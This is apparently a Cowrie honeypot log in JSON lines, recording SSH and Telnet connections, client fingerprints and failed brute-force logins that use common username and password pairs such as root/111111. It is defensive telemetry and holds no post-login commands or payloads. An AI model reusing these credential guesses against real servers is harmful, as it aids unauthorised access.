{"eventid":"cowrie.login.failed","username":"dev","password":"1q2w3e4r","message":"login attempt [dev/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:38.960884Z","src_ip":"129.121.102.3","session":"f2a12f7104f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.146900Z","src_ip":"113.161.222.150","session":"4c4f79a1c44c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.97.101.25","src_port":37262,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c346665e04f","protocol":"ssh","message":"New connection: 103.97.101.25:37262 (159.203.135.109:22) [session: 5c346665e04f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.184246Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.188011Z","src_ip":"103.97.101.25","session":"5c346665e04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.423713Z","src_ip":"103.97.101.25","session":"5c346665e04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":57452,"dst_ip":"159.203.135.109","dst_port":22,"session":"b27e5bf7b9ad","protocol":"ssh","message":"New connection: 91.92.40.13:57452 (159.203.135.109:22) [session: b27e5bf7b9ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.522057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.605388Z","src_ip":"91.92.40.13","session":"b27e5bf7b9ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.608237Z","src_ip":"91.92.40.13","session":"b27e5bf7b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51590,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0ec6c9d53d0","protocol":"telnet","message":"New connection: 170.64.224.25:51590 (159.203.135.109:23) [session: a0ec6c9d53d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.885816Z"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:39.989758Z","src_ip":"129.121.102.3","session":"f2a12f7104f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:40.309188Z","src_ip":"91.92.40.13","session":"b27e5bf7b9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password2","message":"login attempt [root/password2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:40.403814Z","src_ip":"103.97.101.25","session":"5c346665e04f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36900,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5c03a8e35d7","protocol":"ssh","message":"New connection: 8.210.75.243:36900 (10.17.0.5:22) [session: c5c03a8e35d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:41.253018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:41.257219Z","src_ip":"8.210.75.243","session":"c5c03a8e35d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:41.515420Z","src_ip":"91.92.40.13","session":"b27e5bf7b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:41.642517Z","src_ip":"103.97.101.25","session":"5c346665e04f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:41.732840Z","src_ip":"8.210.75.243","session":"c5c03a8e35d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.200.205.179","src_port":60546,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e356339a148","protocol":"ssh","message":"New connection: 152.200.205.179:60546 (10.17.0.5:22) [session: 4e356339a148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:42.662215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:42.666129Z","src_ip":"152.200.205.179","session":"4e356339a148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:42.756335Z","src_ip":"152.200.205.179","session":"4e356339a148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"TestUser","message":"login attempt [testuser/TestUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:43.154473Z","src_ip":"152.200.205.179","session":"4e356339a148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:44.246892Z","src_ip":"152.200.205.179","session":"4e356339a148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":45018,"dst_ip":"10.17.0.5","dst_port":22,"session":"fec244165466","protocol":"ssh","message":"New connection: 103.82.20.28:45018 (10.17.0.5:22) [session: fec244165466]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:44.706371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:44.710207Z","src_ip":"103.82.20.28","session":"fec244165466","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:44.968881Z","src_ip":"103.82.20.28","session":"fec244165466","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111192","message":"login attempt [root/111192] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:45.748932Z","src_ip":"103.82.20.28","session":"fec244165466","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:47.010777Z","src_ip":"103.82.20.28","session":"fec244165466","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.208.49","src_port":45960,"dst_ip":"10.17.0.5","dst_port":22,"session":"87772fd4df2c","protocol":"ssh","message":"New connection: 139.59.208.49:45960 (10.17.0.5:22) [session: 87772fd4df2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:52.966929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:52.969027Z","src_ip":"139.59.208.49","session":"87772fd4df2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:53.062252Z","src_ip":"139.59.208.49","session":"87772fd4df2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789!","message":"login attempt [root/123456789!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:53.433506Z","src_ip":"139.59.208.49","session":"87772fd4df2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:54.520926Z","src_ip":"139.59.208.49","session":"87772fd4df2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":47268,"dst_ip":"10.17.0.5","dst_port":22,"session":"c64d67e504a1","protocol":"ssh","message":"New connection: 164.92.161.148:47268 (10.17.0.5:22) [session: c64d67e504a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.079176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.083100Z","src_ip":"164.92.161.148","session":"c64d67e504a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.165487Z","src_ip":"164.92.161.148","session":"c64d67e504a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing","password":"12345678","message":"login attempt [testing/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.533262Z","src_ip":"164.92.161.148","session":"c64d67e504a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":37208,"dst_ip":"10.17.0.5","dst_port":22,"session":"aea5246206a1","protocol":"ssh","message":"New connection: 91.92.40.4:37208 (10.17.0.5:22) [session: aea5246206a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.666371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.669745Z","src_ip":"91.92.40.4","session":"aea5246206a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:56.750477Z","src_ip":"91.92.40.4","session":"aea5246206a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"pass1234","message":"login attempt [git/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:57.004022Z","src_ip":"91.92.40.4","session":"aea5246206a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:57.617920Z","src_ip":"164.92.161.148","session":"c64d67e504a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":39114,"dst_ip":"159.203.135.109","dst_port":22,"session":"172849d3e137","protocol":"ssh","message":"New connection: 68.207.224.247:39114 (159.203.135.109:22) [session: 172849d3e137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:57.773222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:41:57.776398Z","src_ip":"68.207.224.247","session":"172849d3e137","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-